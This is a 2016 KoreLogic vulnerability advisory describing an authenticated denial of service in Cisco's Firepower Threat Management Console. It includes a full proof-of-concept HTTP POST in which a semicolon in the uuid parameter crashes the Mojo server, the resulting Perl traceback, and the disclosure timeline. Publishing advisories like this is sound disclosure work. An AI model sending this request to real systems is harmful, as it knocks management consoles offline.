[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial of Service



KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial
of Service

Title: Cisco Firepower Threat Management Console Authenticated Denial of Service
Advisory ID: KL-001-2016-004
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-004.txt


1. Vulnerability Details

     Affected Vendor: Cisco
     Affected Product: Firepower Threat Management Console
     Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
     Platform: Embedded Linux
     CWE Classification: CWE-404: Improper Resource Shutdown or Release
     Impact: Denial of Service
     Attack vector: HTTP

2. Vulnerability Description

     A authenticated user can send an HTTP request that will crash
     the Mojo Server thereby making future access impossible until
     a system reboot is performed.


3. Technical Description

     The parameter uuid is passed to a chmod function as part of
     a file path. A ';' in the path causes the function to return
     an exception.

     POST /pjb.cgi HTTP/1.1
     Host: 1.3.3.7
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     DNT: 1
     Content-Type: application/x-www-form-urlencoded
     Referer: https://1.3.3.7/ddd/
     Content-Length: 1180
     Cookie:
x-auto-507=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D;
x-auto-467=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D;
CGISESSID=ab588faec87c38a18347787e3b442ff8
     Connection: close


&function=SF::UI::PJB::Vpn::List::saveVpnDeployment&parameters=%5B%7B%22password%22%3A%22test%22%2C+%22authentication_method%22%3A%22password%22%2C+%22type%22%3A%22PTP%22%2C+%22advanced_setting%22%3A%7B%22ah%22%3A0%2C+%22life_bytes%22%3A%220%22%2C+%22life_time%22%3A1%2C+%22life_time_unit%22%3A%22hours%22%2C+%22life_packets%22%3A%220%22%2C+%22ike_life_time%22%3A3%2C+%22ike_life_time_unit%22%3A%22hours%22%2C+%22ikev2%22%3A1%2C+%22ike_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22modp2048%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22modp2048%22%7D%5D%7D%2C+%22phase2_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22%22%7D%5D%7D%7D%2C+%22status%22%3A0%2C+%22name%22%3A%22test%22%2C+%22uuid%22%3A%2207a0d152-09fc-11e6-93cc-9d074250060f;%22%2C+%22applied%22%3A-1%7D%2C%5B%5D%5D&sf_action_id=a5ba3e29eb18730f7c8dc88d53b48759&ex=1&ss=AllVpnList

     As no exception handler is defined, the process exits.

     Perl traceback:

     The 'file' parameter
     ("/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;.lock")
     to SF::System::chmod did not pass the 'Type Validator
     (system.file)' callback
      at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 73
          SF::System::__ANON__('The \'file\' parameter
          ("/var/tmp/VPNDeployment-07a0d152-09fc...')
               called at /usr/local/sf/lib/perl/5.10.1/SF/System.pm
               line 640
          SF::System::chmod('HASH(0x114c3c88)')
               called at /usr/local/sf/lib/perl/5.10.1/SF/Util.pm
               line 619

SF::Util::wait_for_lock('/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;....',
          120)
               called at
               /usr/local/sf/lib/perl/5.10.1/SF/EODataHandler/VPNDeployment.pm
               line 206

SF::EODataHandler::VPNDeployment::get_lock('07a0d152-09fc-11e6-93cc-9d074250060f;')
               called at
               /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB/Vpn/List.pm
               line 540
          SF::UI::PJB::Vpn::List::saveVpnDeployment('HASH(0x1154bf38)',
          'ARRAY(0x11513750)')
               called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm
               line 859
          SF::UI::PJB::executeFunction('SF::UI::PJB::Vpn::List::saveVpnDeployment',
          'ARRAY(0x11513720)')
               called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm
               line 821
          SF::UI::PJB::handleRequest('SF::UI::PJB::Vpn::List::saveVpnDeployment',
          '[{"password":"test", "authentication_method":"password",
          "typ...')
               called at
               /usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm
               line 39
          eval {...}
               called at
               /usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm
               line 42

SF::Mojo::Handlers::PjbHandler::handle_pjb_cgi('SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
               line 126
          Mojolicious::__ANON__(undef,
          'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
          'CODE(0xd635740)', 1)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
               line 20
          Mojolicious::Plugins::__ANON__()
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
               line 23
          Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',
          'around_action',
          'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
          'CODE(0xd635740)', 1)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
               line 106
          Mojolicious::Routes::_action('SF::Mojo=HASH(0x905ed38)',
          'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
          'CODE(0xd635740)', 1)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
               line 191
          Mojolicious::Routes::_controller('Mojolicious::Routes=HASH(0x905f208)',
          'Mojolicious::Controller=HASH(0x1064dbf8)',
          'HASH(0x10026868)', 1)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
               line 43
          Mojolicious::Routes::continue('Mojolicious::Routes=HASH(0x905f208)',
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
               line 51
          Mojolicious::Routes::dispatch('Mojolicious::Routes=HASH(0x905f208)',
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
               line 118
          Mojolicious::dispatch('SF::Mojo=HASH(0x905ed38)',
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
               line 127
          Mojolicious::__ANON__(undef,
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
               line 20
          Mojolicious::Plugins::__ANON__()
               called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm
               line 217
          eval {...}
               called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm
               line 217
          SF::Mojo::__ANON__('CODE(0x1152fe98)',
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
               line 20
          Mojolicious::Plugins::__ANON__()
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
               line 199
          eval {...}
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
               line 199
          Mojolicious::_exception('CODE(0xf58a1098)',
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
               line 20
          Mojolicious::Plugins::__ANON__()
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
               line 23
          Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',
          'around_dispatch',
          'Mojolicious::Controller=HASH(0x1064dbf8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
               line 133
          Mojolicious::handler('SF::Mojo=HASH(0x905ed38)',
          'Mojo::Transaction::HTTP=HASH(0x114f6558)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server.pm line 71
          Mojo::Server::__ANON__('Mojo::Server::Prefork=HASH(0x8349e58)',
          'Mojo::Transaction::HTTP=HASH(0x114f6558)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
               line 15
          Mojo::EventEmitter::emit('Mojo::Server::Prefork=HASH(0x8349e58)',
          'request', 'Mojo::Transaction::HTTP=HASH(0x114f6558)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
               line 83
          Mojo::Server::Daemon::__ANON__('Mojo::Transaction::HTTP=HASH(0x114f6558)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
               line 15
          Mojo::EventEmitter::emit('Mojo::Transaction::HTTP=HASH(0x114f6558)',
          'request')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Transaction/HTTP.pm
               line 65

Mojo::Transaction::HTTP::server_read('Mojo::Transaction::HTTP=HASH(0x114f6558)',
          'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:
          1.3.3.7\x{d}\x{a}User-Agent: Mozil...')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
               line 186
          Mojo::Server::Daemon::_read('Mojo::Server::Prefork=HASH(0x8349e58)',
          'b2bd7252c6d676b510adb8ba94b9f73f', 'POST /pjb.cgi
          HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent:
          Mozil...')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
               line 166
          Mojo::Server::Daemon::__ANON__('Mojo::IOLoop::Stream=HASH(0x103a7e40)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
               line 33
          eval {...}
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
               line 33
          Mojo::EventEmitter::emit_safe('Mojo::IOLoop::Stream=HASH(0x103a7e40)',
          'read', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:
          1.3.3.7\x{d}\x{a}User-Agent: Mozil...')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm
               line 116
          Mojo::IOLoop::Stream::_read('Mojo::IOLoop::Stream=HASH(0x103a7e40)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm
               line 53
          Mojo::IOLoop::Stream::__ANON__('Mojo::Reactor::EV=HASH(0x88c8ca8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm
               line 115
          eval {...}
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm
               line 115
          Mojo::Reactor::Poll::_sandbox('Mojo::Reactor::EV=HASH(0x88c8ca8)',
          'Read', 'CODE(0x1152e100)', 0)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
               line 52
          Mojo::Reactor::EV::_io('Mojo::Reactor::EV=HASH(0x88c8ca8)',
          77, 'EV::IO=SCALAR(0x10667cc8)', 3)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
               line 43
          Mojo::Reactor::EV::__ANON__('EV::IO=SCALAR(0x10667cc8)', 3)
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
               line 24
          eval {...}
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
               line 24
          Mojo::Reactor::EV::start('Mojo::Reactor::EV=HASH(0x88c8ca8)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop.pm
               line 130
          Mojo::IOLoop::start('Mojo::IOLoop=HASH(0x88c8a58)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
               line 214
          Mojo::Server::Prefork::_spawn('Mojo::Server::Prefork=HASH(0x8349e58)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
               line 122
          Mojo::Server::Prefork::_manage('Mojo::Server::Prefork=HASH(0x8349e58)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
               line 96
          Mojo::Server::Prefork::run('Mojo::Server::Prefork=HASH(0x8349e58)')
               called at
               /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Hypnotoad.pm
               line 77
          Mojo::Server::Hypnotoad::run('Mojo::Server::Hypnotoad=HASH(0x8953e50)',
          '/var/sf/bin/mojo_server.pl')
               called

4. Mitigation and Remediation Recommendation

     The vendor has addressed this vulnerability in their Support
     Center as Bug ID CSCva30631. Vendor acknowledgement available
     at: https://tools.cisco.com/bugsearch/

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel) of
KoreLogic, Inc.

6. Disclosure Timeline

     2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
     2016.06.30 - Cisco acknowledges receipt of vulnerability report.
     2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
                  this vulnerability and for 3 others reported in the
                  same product.
     2016.08.12 - 30 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.02 - 45 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.09 - KoreLogic asks for an update on the status of the
                  remediation efforts.
     2016.09.15 - Cisco confirms remediation is underway and soon to be
                  completed.
     2016.09.28 - Cisco informs KoreLogic that the remediation details will
                  be released publicly on 2016.10.05.
     2016.10.05 - Public disclosure.

7. Proof of Concept

     See Technical Description


The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Attachment: signature.asc
Description: OpenPGP digital signature